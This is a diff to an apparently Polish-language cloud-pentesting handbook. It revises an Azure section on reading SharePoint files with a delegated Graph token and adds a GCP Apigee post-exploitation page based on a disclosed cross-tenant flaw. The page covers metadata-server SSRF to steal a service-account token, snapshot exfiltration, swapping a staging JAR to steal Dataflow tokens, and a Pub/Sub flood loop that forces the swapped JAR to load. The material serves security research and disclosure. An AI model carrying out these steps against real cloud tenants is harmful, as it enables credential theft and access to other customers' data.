```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` -Zakładając, że token ma uprawnienia Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z sieci z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena: +Zakładając, że token ma uprawnienie Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z poziomu przeglądarki z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena: ```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` -## Odniesienia +## Źródła - [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s) - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md new file mode 100644 index 000000000..60e747a0d --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md @@ -0,0 +1,68 @@ +# GCP - Apigee Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Apigee metadata SSRF -> Dataflow cross-tenant pivot + +Pojedynczy projekt tenant Apigee można wykorzystać, aby uzyskać dostęp do serwera metadanych Message Processor, ukraść jego service account i pivotować do współdzielonego potoku analitycznego Dataflow, który odczytuje/zapisuje cross-tenant buckets. + +### Wystaw serwer metadanych przez Apigee + +- Ustaw Apigee proxy target na `http://169.254.169.254` i żądaj tokenów z `/computeMetadata/v1/instance/service-accounts/default/token` z nagłówkiem `Metadata-Flavor: Google`. +- GCP metadata odrzuca żądania zawierające `X-Forwarded-For`; Apigee dodaje je domyślnie. Usuń go za pomocą `AssignMessage` przed przekazaniem przez proxy: +```xml + + + +
+ + +true + +``` +### Enumeracja skradzionego konta serwisowego Apigee + +- The leaked SA (zarządzane przez Google pod `gcp-sa-apigee`) można zenumerować narzędziami takimi jak [gcpwn](https://github.com/NetSPI/gcpwn), aby szybko przetestować uprawnienia. +- Zaobserwowane potężne uprawnienia obejmowały **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, oraz **Pub/Sub topic publish**. Podstawowe rozpoznanie: +```bash +gcloud compute disks list --project +``` +### Snapshot exfiltration for opaque managed services + +Z uprawnieniami do dysku/snapshot możesz zbadać managed runtimes offline, nawet jeśli nie możesz zalogować się do tenant project: + +1. Utwórz snapshot docelowego dysku w tenant project. +2. Skopiuj/przenieś snapshot do swojego projektu. +3. Odtwórz dysk ze snapshotu i dołącz go do swojej VM. +4. Zamontuj i przejrzyj logi/konfiguracje, aby odzyskać wewnętrzne nazwy bucketów, service accounts i opcje pipeline. + +### Dataflow dependency replacement via writable staging bucket + +- Analytics workers pobierały JARy z GCS staging bucket przy starcie. Ponieważ Apigee SA miało uprawnienie zapisu do bucketu, pobierz i zpatchuj JAR (np. z Recaf), aby wywołać `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` i ukraść **Dataflow worker** token. +- Dataflow workers nie miały egressu do internetu; exfiltrate przez zapisanie tokenu do kontrolowanego przez atakującego GCS bucket przy użyciu in-cluster GCP APIs. + +### Force malicious JAR execution by abusing autoscaling + +Istniejące workers nie przeładują zastąpionych artefaktów. Zalej pipeline input, aby wywołać nowe workers: +```bash +for i in {1..5000}; do +gcloud pubsub topics publish apigee-analytics-notifications \ +--message "flood-$i" --project +done +``` +Nowo utworzone instancje pobierają załatane JARs i leak the Dataflow SA token. + +### Błąd projektowy bucketu między tenantami + +Zdekompilowany kod Dataflow pokazywał ścieżki cache takie jak `revenue/edge//tenant2TenantGroupCacheDir` w ramach współdzielonego metadata bucketu, bez komponentu specyficznego dla konkretnego tenanta. Mając Dataflow token możesz read/write: + +- `tenantToTenantGroup` caches ujawniające nazwy project+environment innych tenantów. +- foldery `customFields` i `datastores` zawierające per-request analytics (w tym end-user IPs i plaintext access tokens) dla wszystkich tenantów. +- Write access implies potential analytics tampering/poisoning. + +## Referencje + +- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/) +- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy) + +{{#include ../../../banners/hacktricks-training.md}}